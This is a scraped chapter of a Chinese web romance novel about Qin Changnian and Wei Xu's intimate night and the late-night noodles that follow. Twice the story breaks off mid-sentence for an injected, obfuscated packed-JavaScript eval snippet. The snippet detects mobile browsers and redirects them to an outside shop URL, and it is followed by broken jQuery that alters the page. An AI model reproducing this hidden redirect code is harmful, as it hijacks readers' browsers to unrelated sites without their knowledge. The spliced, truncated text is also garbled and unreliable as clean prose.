可若苒儿再追问一句,为何用你的性命去赌,少主就会妥协? 秦常念也许就答不出来了。 对她来讲,这就是一种常识。她已然习惯和隗絮这样的相处模式。 也许隗絮也答不出来,为什么秦常念一示弱,他就要缴械投降。 他们两个都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323597|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有意识到秦常念的这一招,在隗絮这里百试百灵的前提条件,是他那从不宣之于口却在行动中处处泄露的爱意。 她确定他爱她,并且从不怀疑这一点。 这是对一段爱最大的肯定。 隗絮将手移到秦常念的身后,一手揽着她的腰,一手撑在床杆上,俯身下去。秦常念的瞳孔里,隗絮的身影不断放大、放大,随后被隗絮的手掌盖住。 秦常念不明所以,眨巴了两下眼睛。睫毛划过隗絮的手心,软得让隗絮心痒痒。隗絮很不可合时宜地又长叹一口气。 “为什么叹气?”秦常念声音清脆地问道。 “为你开心。”隗絮答道。 他将手掌移开,秦常念仍然保持着闭着眼睛的状态。隗絮用手托住秦常念的脸,低下头,吻在秦常念的额心。 离别总是太过仓促,有想说的话都不知如何开口。 隗絮的吻从秦常念的额心,移到眉心,移到眼睛,移到鼻梁,移到唇角,移到下巴。慢慢的,浅浅的,勾人心绪的。 他吻得秦常念有点痒,秦常念往后缩了缩脖子。隗絮以为她不愿意,立刻停下了动作。 秦常念感觉到两人之间的距离被拉开,睁开眼睛,就看见隗絮一脸委屈小狗的表情。 秦常念觉得有点好笑:“你干脆改名好了,不应该叫隗絮,而应该叫委屈絮。” “我这都是因为谁。”隗絮的声音显得更委屈了。 “怪我怪我。”秦常念笑着答道,忽然伸手抓住隗絮的衣领,用力一拉。隗絮反应不及,向前扑去,正好压在秦常念的唇中央。 隗絮刚想解释,秦常念就改成抱住他的肩膀,吮吸他的唇瓣。 隗絮这才理解了情况,从震惊变成感动,又变成伤感。他闭上眼睛,和秦常念交换这个绵长的吻。 嘴唇温热地紧贴在一起,两人的距离靠得更近。秦常念的嘴角扬起一丝弧度。他们好久没有这样相互依偎了。 隗絮的眼角滑下一滴泪,顺着鼻梁,滑到下颌,正滴在秦常念的裙子上。这一滴泪在秦常念的罗裙上晕开,就好像泪落成花,晕开成绚丽的形状。 我们的幸福从这一刻就要开始倒计时了。隗絮想。 秦常念卸了点力,整个人往前倒,正好趴在隗絮的肩头。 “累了吧?早点休息。”隗絮道,轻轻拍了拍秦常念的背,就要让她躺下。 秦常念却赖在隗絮的肩头,懒洋洋地在隗絮的耳边说道:“今日隗公子可要留宿在本小姐这?” 秦常念感觉到隗絮的身子抖动了一下,觉得有些骄傲,小样,还是姐姐我赢下一城吧。 隗絮抱着秦常念,退开一点,看着秦常念的眼睛:“你知道你自己在说什么吗?” “我当然知道。”秦常念答道。 “你再说一遍。”隗絮道。 “好话不说第二遍,你不想就算了,本小姐要就寝了。”秦常念玩得一手好欲擒故纵,倒下去就要盖被子。眼里含着隐藏不住的笑意。 隗絮一把拉开被子:“你确定吗?” 秦常念笑得用手捂住嘴,小声道:“确定。” 一瞬间,秦常念看见隗絮的眼神从委屈小狗变成有攻击性的狼。很像是小时候在边防岗哨看见过的,黑夜之中闪着绿光、带着侵略性的野狼的眼睛。 我现在说害怕还来得及吗?秦常念忽然有些胆怯了。 隗絮欺身而下,掀起被子:“现在说停还来得及。” 这人什么时候学了读心术?哪个术士教的,我也要学。秦常念一惊,面上还是维持着淡定,笑道:“本小姐可从来没有怕过谁。” 隗絮露出了今晚第一个笑容,慢慢说道:“好话不说第二遍。” 他压下来,被子盖住两个人。 52. 体力 秦常念的体力到底是没有隗絮好,闹了一阵子,迷迷糊糊地睡过去了。恍惚之间,感觉到隗絮替她用热毛巾擦了身子、换了新的衣服。 累到极致,也没心情去思考什么害不害羞的问题了。秦常念连眼皮都撑不开,在心里暗骂了隗絮几句,就昏睡过去。 不知道睡了多久,身上暖烘烘的,秦常念又悠悠转醒,发现自己整个人枕在隗絮的肩窝里。她小心翼翼地尝试翻了个身,离隗絮远一点,又立刻被隗絮捞了回来。 “去哪?”隗絮闭着眼睛,声音还哑着。 “不去哪。”秦常念回答道,“你还没睡着?” 隗絮将她的头重新抬起垫在自己的手臂上:“本来睡着了。”哪敢说自己梦里都在害怕她逃跑,大脑时刻站着岗,不敢懈怠。 谁知道她一脱离他的视线,又要去做些什么。 “那你睡得还挺浅的。”秦常念没话找话地说了一句。 隗絮没有回答,只有有规律的呼吸声传来。 秦常念也闭上眼睛,拱了拱身子尝试再次入睡。但她左翻翻、右翻翻,似乎都没找到合适的姿势。最后忍不住说话了:“你睡着了吗?” “嗯。”隗絮回答道。 “骗人,睡着了怎么能回答我的问题呢。”秦常念笑道。 这一次隗絮学聪明了,过了半晌都没有回答。 “你睡着了?”秦常念又问道,转过身和隗絮面对面。 隗絮闭着眼睛,睡得很沉。 “真睡着了?”秦常念凑近一点问道,一边仔细观察着隗絮的表情,试图找出一些破绽。 隗絮仍然没有回答。 “居然睡得这么快。”秦常念嘀咕一声,又凑近一点,距离近得几乎要贴上隗絮的鼻梁。秦常念忍不住咽了一下口水,相爱的人之间有着致命的吸引力,她此刻就很想亲上去。连隗絮身上淡淡的松木香,都像是在引诱秦常念。 像丢失了理智一般,秦常念越贴越近,越贴越近,就在快要碰到隗絮鼻尖的时候,隗絮“啪”地睁开了眼睛。 秦常念吓了一跳,当下来不及,原是想逃跑来着,但不知怎么回事,竟然鬼使神差地吻了上去,像是蝴蝶翩翩然煽动翅膀,恰好落在隗絮鼻梁边的那颗痣上。 秦常念更是被自己的行动吓到了,一时间定在原地,一动不动。 隗絮的喉结滚动一下:“怎么,娘子还没玩够,所以才闹着不肯睡觉?” 秦常念猛地一惊,使劲把隗絮往旁边一推,像卷饼一样,用被子将自己层层包裹起来:“你,什么,那,离我这么近做甚。我要睡了。”边说还边闭上了眼睛,俨然一副已经熟睡的样子。如果她红得发紫的耳垂没有出卖她的话。 隗絮没设防,被推到床边,几乎就要掉下去。此刻更是连一角被子都没有,笑道:“明明是娘子自己凑上来的。怎么反过来赖为夫呢?” “娘子什么,娘子,谁,允许你这样叫了。”秦常念闭着眼睛说道,呼吸都有些不匀。 隗絮不知道什么时候又滚回秦常念身旁,连带着钻进被子里:“那我先前这么叫的时候,娘子也没说不喜欢啊。” “那,那不是为了隐藏身份出宫嘛。”秦常念道。 “噢?那娘子的意思是,若是不需要隐藏身份,我该称呼你少主夫人,是不是啊,夫人。”隗絮反客为主,紧贴着秦常念问道。 秦常念能清楚地感觉到他的呼吸喷洒在自己脸旁,更慌乱了,不知道该怎么办,下意识又去推隗絮。 怎料她的手被隗絮一把抓住。隗絮单手钳制住秦常念的两只腕子,往后一放,举过了秦常念的头顶。 “你干嘛呀。”秦常念小声抗议道,这个姿势让她觉得格外羞涩,仿佛将整个自己和盘托出,在隗絮的视线里暴露无疑。她脸上的红晕再添上一抹,像是吃醉了酒。 “你说为夫干嘛。”隗絮笑得危险,翻身压住秦常念,压低了声音,“当然是继续先前的游戏啊。夫人不是很喜欢嘛。” “我,我,我。”秦常念眼睁睁看着隗絮的身影压下来,急得两条腿蹬来蹬去。 隗絮仍然不为所动,并不停下动作。 箭在弦上,不得不发。 就在这千钧一发的时刻,“咕噜……”,秦常念的肚子发出响声,羞得秦常念忙低下头。 隗絮松了手,笑道:“饿了?” “你说呢!”秦常念此刻恼羞成怒,颇有几分忿恨,“原是要和安蓉王后一起用膳,都怪你这个劳什子,闹得我饭也没吃上。” “错了错了。”隗絮道,忙下床披了衣服,“想吃什么。” “有面吗?”秦常念问道。 “牛肉面?”隗絮说道。 “嗯……牛肉鸡蛋面吧。”在吃上面,秦常念从不会委屈自己。 “好。”隗絮刮了一下秦常念的鼻子,转身就要往厨房走。 “记得鸡蛋要打散。”秦常念叮嘱道。 “嗯,知道。你不爱吃蛋黄。”隗絮边说边走出了房间。 厨房里,隗絮刚把鸡蛋打散,就听见身后一阵蹑手蹑脚的声音传来,迅速捂住了他的眼睛:“猜猜我是谁?” “不管你是谁,都阻止不了面变坨。”隗絮道。 秦常念忙松开手,凑到锅边:“放下去煮多久了?” “快好了。”隗絮边说边把鸡蛋倒下去。转过身,看见秦常念外套都没披就出来了。 “怎么不穿衣服就乱跑?”隗絮道,边说边把自己的披风脱下来,盖在秦常念身上,还贴心地在顶端打了个结,防止披风滑落。 “哎,瞧你这话说的。我这身上穿的不叫衣服吗?”秦常念显然对隗絮的话很不满意。 “披风就挂在架子上,你都懒得拿。”隗絮门清秦常念心里在想什么,叹了口气。 “那和我出房间是两个方向,还得绕过去拿,太麻烦了。”秦常念理直气壮道。 “这么懒,懒死你算了。”隗絮嗔怪一句,去拿碗把面盛出来。 秦常念亦步亦趋地跟在他身后,调皮道:“懒死我,我是没关系,问题是你舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345373|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得吗?” 打蛇打七寸,秦常念惯会拿捏隗絮的心,一下子把隗絮噎得说不出话。 秦常念乘胜追击道:“再说了,我什么都会可不行。本小姐要是什么都会了,要夫君作甚?好看吗?”又立刻补充道,“虽然我夫君也是好看的。” 隗絮一手端面,一手牵起秦常念:“我真是说不过你。” “怎么不叫夫人了?”秦常念故意问道。 “夫人,再闹面要打翻了,你可就得饿一晚上了。”隗絮道。 “那可不行,我不说话了,你好好端着。”秦常念立刻收敛了,毕竟没有什么比深夜的一碗牛肉鸡蛋面更重要。 “哎呀!”隗絮一个踉跄,故意逗秦常念。 “啊!!!”秦常念尖叫一声,很快又反应过来上当了,打了一下隗絮,“夫君!” “在。”隗絮笑容满面。 面在桌子上放下来,秦常念夹起一块牛肉就往隗絮嘴里送。 “你吃吧。”隗絮道。 “第一口当然是要给夫君吃的。”秦常念回答道,“还是你不想当我夫君?”说着就要把手往回撤。 隗絮立马抓住秦常念的手,咬住那块牛肉:“真好吃。” “真乖。”秦常念作势摸了摸隗絮的头。 隗絮嚼着牛肉,觉得有哪里不对,但是又说不上来,只能由着秦常念在这场游戏中上瘾,对他的脑袋上下其手。 “我发现隗子舟的脾气其实蛮倔的。”秦常念吃着面,忽然说道,“他挺记仇的。之前和他一起玩麻雀牌,他输了的一定要一一赢回来才肯罢休。” “又和你有关系了?”隗絮无奈道,秦常念在北凉王宫里的人气,那是高得离谱,凡是认识的人,都和隗絮说,想见上她一面。也就是她能把这么乏善可陈的生活搞得风生水起了,“不过你们关系很好吗?怎么还老一起玩牌。” “闲来无事嘛。”秦常念道,“不过这都不是重点。你别看他一口一个哥哥叫得可亲热了,野心可大着呢。你以后可得防着点。” “嗯,快吃你的面吧,一会凉了。”隗絮道。 “你有在听我说话吗,我是认真的。牌桌最能识人心了。他觊觎的东西可多着了。”秦常念道。 “知道了知道了,多谢夫人指点,我日后会多加注意的。”隗絮道。 秦常念这才满意地点了点头:“吃饱了。” 隗絮起身将她打横抱起:“既然夫人吃饱了,那该轮到为夫了吧。” 秦常念被放在床上的时候,不知怎么,忽然想起自己房间里的事道:“我应该和他们说一声,我今夜不回去睡了。” “你这么晚没回去,苒儿应当已经来问过了。”隗絮道。 “我是怕隗子舟来找我。”秦常念道。 却立刻被隗絮的动作打断:“不要总惦记别的男人。” “可是……”秦常念话还没说全,就被隗絮更激烈的动作打断,不得不停下来,闭紧嘴。 “专心此刻,夫人莫要分心。”隗絮警告道。